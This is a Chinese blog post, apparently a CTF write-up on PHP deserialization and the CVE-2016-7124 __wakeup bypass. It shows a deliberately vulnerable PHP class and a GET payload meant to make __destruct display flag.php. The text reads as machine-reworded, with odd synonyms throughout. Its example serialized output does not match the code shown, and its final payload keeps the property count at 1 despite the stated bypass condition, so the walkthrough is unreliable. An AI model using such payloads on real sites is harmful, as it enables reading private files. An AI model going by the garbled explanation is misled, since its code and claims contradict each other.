当前位置:首页 > Web开发 > 正文

调用 unserilize() 方法前则先调用__wakeup方法

2024-03-31 Web开发

比来电脑也不知怎么了时时时断网而且我竟然找不出原因!!!很诡异....  其他设备电脑都OK唯独我的电脑 时好时坏 我好像摸清了我电脑断网的时间段所以作息时间都转变了  今天12点多断网刷了会手机陪家人取超市 看到小区门口都挺严格的进出要身份证 去超市还要测体温。之后回来睡觉到6点起来家里做了火锅hhhhh  吃了之后继续学习序列化缝隙emmmm 等会又该睡觉了 一天又结束了!

技术图片

预备常识

https://www.cnblogs.com/xhds/p/12233720.html PHP反序列化根本

序列化public private protect参数孕育产生差别功效

Pubic 公有

Private 私有

Protect 掩护

<?php class test{ public $name = ‘xiaohua‘; private $address = ‘shanxi‘; protected $age = ‘21‘; } $test1 = new test(); $object = serialize($test1); print_r($object); ?>

序列化之后打印出:

O:4:"test":3:{s:4:"name";s:7:"xiaohua";s:9:"testsex";s:6:"secret";s:6:"*age";s:2:"20";}

Public属性序列化后格局:成员名

Private属性序列化后格局:%00类名%00成员名

Protected属性序列化后的格局:%00*%00成员名

通过对网页抓取输出是这样的:

O:4:"test":3:{s:11:"\00test\00test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:"\00*\00test3";s:5:"hello";}

(1) __construct():当东西创建时会自动挪用(但在unserialize()时是不会自动挪用的)。 (2) __wakeup() :unserialize()时会自动挪用 (3) __destruct():当东西被销毁时会自动挪用。 (4) __toString():当反序列化后的东西被输出在模板中的时候(转换成字符串的时候)自动挪用 (5) __get() :当从不成访谒的属性读取数据 (6) __call(): 在东西上下文中挪用不成访谒的要领时触发

CVE-2016-7124(绕过__wakeup)复现

缝隙影响版本:

PHP5 < 5.6.25

PHP7 < 7.0.10

缝隙孕育产生原因:

如果存在__wakeup要领,挪用 unserilize() 要领前则先挪用__wakeup要领,但是序列化字符串中暗示东西属性个数的值大于 真实的属性个数时会跳过__wakeup的执行 

<?php //风闻flag在flag.php里面?????? //来源:榆林学院信息安适协会CTF攻防训练平台 header("Content-Type: text/html; charset=utf-8"); error_reporting(0); class sercet{ private $file=‘index.php‘; // __construc 每次创建新东西时挪用,所以__construct非常适合做初始化 public function __construct($file){ echo "_construct执行<br>"; $this->file=$file; } //析构函数会在对某个东西所有引用都被删除或者被显式销毁时执行 function __destruct(){ echo " __destruct执行<br>"; // echo show_source($this->file,true); echo @highlight_file($this->file, true); } //unserialize()先查抄__wakeup是否存在,,则会先挪用__wakeup function __wakeup(){ echo "__wakeup执行<br>"; $this->file=‘index.php‘; } } unserialize($_GET[‘val‘]);

我们分析这道CTF题,标题问题奉告我们说flag仿佛在flag.php中  又看到页面爆出这个源码 我们来分析可以变动类里面的$file变量值通过__destruct()这个函数再去把当前类下的file变量用highlight_file()打印出来。所以我们来结构。先序列化

首先思考传入flag.php我们实例化一个东西new sercet("flag.php"); 通报给serialize()序列化 得出:

$obj =new sercet("flag.php"); $a=serialize($obj); print_r($a);

序列化后的new sercet("flag.php");

O:6:"sercet":1:{s:12:"%00sercet%00file";s:8:"flag.php";}

在通报的时候切记按照private的特性加上:%00:O:6:"sercet":1:{s:12:"%00sercet%00file";s:8:"flag.php";}

测试payload:

?val=O:6:"sercet":1:{s:12:"%00sercet%00file";s:8:"flag.php";} 

温馨提示: 本文由Jm博客推荐,转载请保留链接: https://www.jmwww.net/file/web/30860.html